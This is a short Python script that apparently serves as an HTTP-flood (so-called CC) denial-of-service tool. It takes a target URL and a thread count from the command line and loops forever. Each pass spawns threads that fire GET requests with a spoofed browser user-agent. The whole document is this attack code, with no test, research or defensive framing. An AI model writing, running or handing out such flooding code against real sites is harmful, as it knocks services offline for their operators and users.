import requests
import threading
from queue import Queue
import random
import sys
q=Queue()


class Cc:
    def start(self,url):

        headers = {
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3751.400',
        }
        
        try:
            get=requests.get(url=url,headers=headers)
            print('OK')
        except Exception as e:
            print('FALSE')

    def go(self,url):
        for x in range(int(sys.argv[2])):
            th=threading.Thread(target=self.start,args=(url,))
            th.start()
        th.join()

if __name__ == '__main__':
    c = Cc()
    while True:
        c.go(sys.argv[1])
